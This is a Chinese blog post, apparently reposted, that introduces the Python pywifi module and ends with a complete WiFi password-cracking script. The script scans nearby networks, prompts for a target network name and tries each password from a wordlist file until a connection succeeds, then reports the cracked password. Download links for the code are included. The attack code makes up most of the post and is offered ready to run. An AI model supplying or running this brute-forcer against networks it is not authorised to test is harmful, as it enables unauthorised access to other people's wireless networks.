赞
踩
最近对python的pywifi模块进行了一些学习了解,总结分享一波~
原文博客地址:python~wifi篇 | 旅程blog (cxy.red)
运用python包管理工具pip下载pywifi模块,在命令行中输入以下命令:
pip install pywifi
# 假设ssid, auth, akm, cipher, key已经定义 profile = pywifi.Profile() profile.ssid = ssid profile.auth = auth profile.akm = [akm] profile.cipher = cipher if cipher != pywifi.const.CIPHER_TYPE_NONE: profile.key = key 1. ssid:AP的用户名 2. auth:AP的认证算法 - const.AUTH_OPEN - const.AUTH_SHARED 3. akm:AP的密钥管理类型 - const.AKM_TYPE_NONE - const.AKM_TYPE_WPA - const.AKM_TYPE_WPAPSK - const.AKM_TYPE_WPA2 - const.AKM_TYPE_WPA2PSK 4. cipher:AP的密码类型 - const.CIPHER_TYPE_NONE - const.CIPHER_TYPE_WEP - const.CIPHER_TYPE_TKIP - const.CIPHER_TYPE_CCMP 5. key:AP的密码 - 如果cipher不是CIPHER_TYPE_NONE,则应设置此值。
# 假设Interface是一个已经初始化的pywifi接口对象 1. # 获取wifi接口的名字 name = Interface.name() 2. # 扫描APs Interface.scan() 3. # 获取上次触发扫描的结果。将返回一个Profile文件列表 scan_results = Interface.scan_results() 4. # 添加用于稍后连接的AP配置文件 Interface.add_network_profile(profile) 5. # 删除所有AP配置 Interface.remove_all_network_profiles() 6. # 获取所有保存的AP Profile network_profiles = Interface.network_profiles() # 修改为无参调用 7. # 连接设置的AP Profile Interface.connect(network_profiles[0]) # 假设连接第一个配置文件 8. # 断开当前的AP连接 Interface.disconnect() 9. # 获取当前wifi的状态 status = Interface.status() # 根据status的值判断状态 # 例如: if status == pywifi.const.IFACE_CONNECTED:
import os from pywifi import PyWiFi, const, Profile import time def scan_wifi(iface): iface.scan() print("---扫描周围WiFi中---") time.sleep(1) for i in iface.scan_results(): print("WiFi名称:" + i.ssid.encode("raw_unicode_escape").decode() + ",信号强度:", str(i.signal + 100) + "%") def connect_to_wifi(iface, password, ssid): try: profile = Profile() profile.ssid = ssid.encode().decode("GBK") profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.auth = const.AUTH_ALG_OPEN profile.cipher = const.CIPHER_TYPE_CCMP profile.key = password iface.remove_all_network_profiles() test_profiles = iface.add_network_profile(profile) iface.connect(test_profiles) time.sleep(1) return iface.status() == const.IFACE_CONNECTED except Exception as e: print(f"连接失败: {e}") return False def main(): wifi = PyWiFi() iface = wifi.interfaces()[0] # 假设只有一个接口 path = os.path.dirname(__file__) file_path = os.path.join(path, "密码本.txt") if iface.status() == const.IFACE_CONNECTED: print("请断开WiFi,再尝试运行!") status = input("如果断开WiFi可以输入1,退出脚本请按任意键: ") if status.strip() == "1": iface.disconnect() print("---断开WiFi中---") time.sleep(1) elif iface.status() != const.IFACE_DISCONNECTED: print("当前网卡状态异常!!!\n请重新运行") return scan_wifi(iface) wifi_name = input("请输入想破解的WiFi名称: ") print("---开始破解---") with open(file_path, "r") as f: for pwd in f: if connect_to_wifi(iface, pwd.strip(), wifi_name): print("破解成功,密码为:", pwd.strip()) break else: print("破解失败,正在尝试下一个密码...") if __name__ == "__main__": main()
Github地址:https://github.com/cxy20219?tab=repositories
百度网盘地址:https://pan.baidu.com/s/1HDEI0dZAQEQ2iFn9I2OOaw 提取码:x36g
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。